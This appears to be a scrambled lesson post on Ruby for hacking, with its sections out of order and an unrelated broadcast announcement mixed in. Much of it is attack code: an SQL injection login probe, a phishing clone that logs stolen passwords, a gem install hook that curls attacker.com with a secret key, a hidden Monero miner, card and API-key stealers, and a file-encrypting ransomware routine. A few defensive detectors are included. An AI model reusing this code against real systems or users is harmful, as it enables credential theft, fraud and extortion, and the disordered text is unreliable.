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Example: SQL Injection Probe
require 'net/http'
params = {
'username' => "' OR 1=1 --",
'password' => ''
}
uri = URI('http://vulnerable-site.com/login')
response = Net::HTTP.post_form(uri, params)
puts response.body.include?('Welcome') ? 'Vulnerable!' : 'Patched'
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$$ 2 . Network Analysis
- PacketGen: Craft and analyze raw network packets.
- RubySocket: Build TCP/UDP scanners.
- SNMP Ruby: Manipulate network devices.
Example: Port Scanner
require 'socket'
(1..1024).each do |port|
begin
TCPSocket.new('target.com', port).close
puts "Port #{port} open"
rescue Errno::ECONNREFUSED, Errno::ETIMEDOUT
end
end
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$$ 3 . Cryptography & Forensics
- OpenSSL Bindings: Analyze encryption implementations.
- Rubyzip: Examine malicious ZIP files.
- BinData: Reverse engineer file formats.
Example: SHA1 Hash Cracker
require 'digest'
def crack_sha1(hash, wordlist)
File.foreach(wordlist) do |word|
word.chomp!
if Digest::SHA1.hexdigest(word) == hash
return word
end
end
nil
end
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$$ 4 . Social Engineering
- Rubyphish: Clone websites for penetration testing.
- Gmail Ruby API: Simulate phishing campaigns.
- Mechanize: Automate form submissions.
Example: Credential Harvesting Clone
require 'sinatra'
require 'pony'
post '/login' do
File.open('stolen.log', 'a') do |f|
f.puts "Username: #{params[:user]}, Password: #{params[:pass]}"
end
redirect 'https://real-site.com/auth_error'
end
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$$ 5 . Malware Analysis
- Ruby Assembly: Analyze PE file structures.
- YARA-Ruby: Detect malware signatures.
- PE Library: Parse Windows executables.
Example: YARA Rule Scanner
require 'yara'
rules = YARA::Compiler.new.compile(<<~RULE
rule Ransomware {
strings:
$s1 = "AES-256" fullword
$s2 = "http://payment.site"
condition:
all of them
}
RULE
)
rules.scan_file("malware.exe") do |match|
puts "Ransomware detected: #{match.rule}"
end
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$$ 6 . Defensive Security
- Brakeman: Static analysis for Rails vulnerabilities.
- Ruby Audit: Check dependency vulnerabilities.
- Rack::Protection: Mitigate common web attacks.
Example: Suspicious Process Detection
def detect_cryptominers
processes = `ps aux`.lines.grep(/xmrig|monero/)
unless processes.empty?
alert_soc("Cryptojacking detected: #{processes.join(', ')}")
end
endˣᵗᵃʷᵇ/$ Lesson Eight: Ruby in Cybersecurity
R - L: Ruby
Has Yuma explored sophisticated social engineering attacks or web application breaches?
-> Let me demonstrate Ruby's capabilities.
Ruby powers critical web infrastructure (like Rails apps) and red team tools, making it essential for cybersecurity analysis.
Important Note: Ruby's flexibility can be exploited for malicious purposes. Unauthorized hacking violates laws and ethics. These examples demonstrate potential attack vectors for educational purposes only.
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$$ Real-World Hacking Incidents Using Ruby
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$$ 1 . GitHub Dependency Chain Attack (2020)
- What Happened: Malicious RubyGems packages stole environment variables.
- How Ruby Could Be Used:
- Crafting malicious gems with backdoor code.
- Exploiting
eval for remote code execution.
Example Code (Hypothetical):
# Malicious gem post-install hook
Gem.post_install do |installer|
system("curl http://attacker.com/steal?key=#{ENV['SECRET_KEY']}")
end
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$$ 2 . Shopify Phishing Campaign (2022)
- What Happened: Fake storefronts cloned using Ruby on Rails to steal credit cards.
- How Ruby Could Be Used:
- Rails controllers capturing payment data.
- ActiveRecord storing stolen information.
Example Code (Hypothetical):
class FakeCheckoutController < ApplicationController
def create
stolen_data = {
card: params[:card_number],
cvv: params[:cvv]
}
Exfiltrator.send_to_attacker(stolen_data)
redirect_to legitimate_payment_gateway_path
end
end
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$$ 3 . Cryptojacking via Sinatra Apps (2021)
- What Happened: Compromised servers mined Monero through vulnerable web apps.
- How Ruby Could Be Used:
- Embedded mining scripts in Ruby web servers.
- Process forking for hidden crypto-mining.
Example Code (Hypothetical):
require 'sinatra'
get '/legit-page' do
fork { system("xmrig --url=pool.attacker.com") } # Hidden miner
erb :real_content
end
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$$ 4 . AWS Credential Harvesting (2023)
- What Happened: Compromised Ruby CI/CD pipelines leaked cloud credentials.
- How Ruby Could Be Used:
- Hook Net::HTTP to intercept AWS metadata requests.
- Parsing ~/.aws/credentials files.
Example Code (Hypothetical):
module CredentialInterceptor
def send_request(request)
if request.uri.host.include?('amazonaws.com')
Exfiltrator.upload(request.headers.to_json)
end
super
end
end
Net::HTTP.prepend(CredentialInterceptor)
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$$ 5 . Ransomware Targeting CMS (2020)
- What Happened: Ruby-based CMS platforms encrypted for extortion.
- How Ruby Could Be Used:
- File traversal vulnerabilities with Dir.glob.
- OpenSSL::Cipher for file encryption.
Example Code (Hypothetical):
def encrypt_directory(path)
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
key = cipher.random_key
Dir.glob("#{path}/**/*").each do |file|
next unless File.file?(file)
data = File.binread(file)
encrypted = cipher.update(data) + cipher.final
File.binwrite(file, encrypted)
end
end
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$$ 6 . API Key Exfiltration (2022 Fintech Breach)
- What Happened: Malicious middleware leaked financial API keys.
- How Ruby Could Be Used:
- Rack middleware monitoring requests.
- Regex pattern matching for key extraction.
Example Code (Hypothetical):
class KeyStealer
def initialize(app)
@app = app
end
def call(env)
request = Rack::Request.new(env)
api_key = request.params['api_key']
Exfiltrator.log(api_key) if api_key
@app.call(env)
end
end
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$$$ Ruby Libraries & Tools for Ethical Hacking
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$$ 1 . Web Exploitation
- Nokogiri: XPath injection and HTML parsing attacks.
- Rack-Attack: Test rate limiting bypasses.
- Metasploit Framework (Ruby Modules): Develop custom exploits. Today's live will start in three hours from now and it will be a very intense live broadcast!
Don't forget to tell who cares.
//--- * ---//
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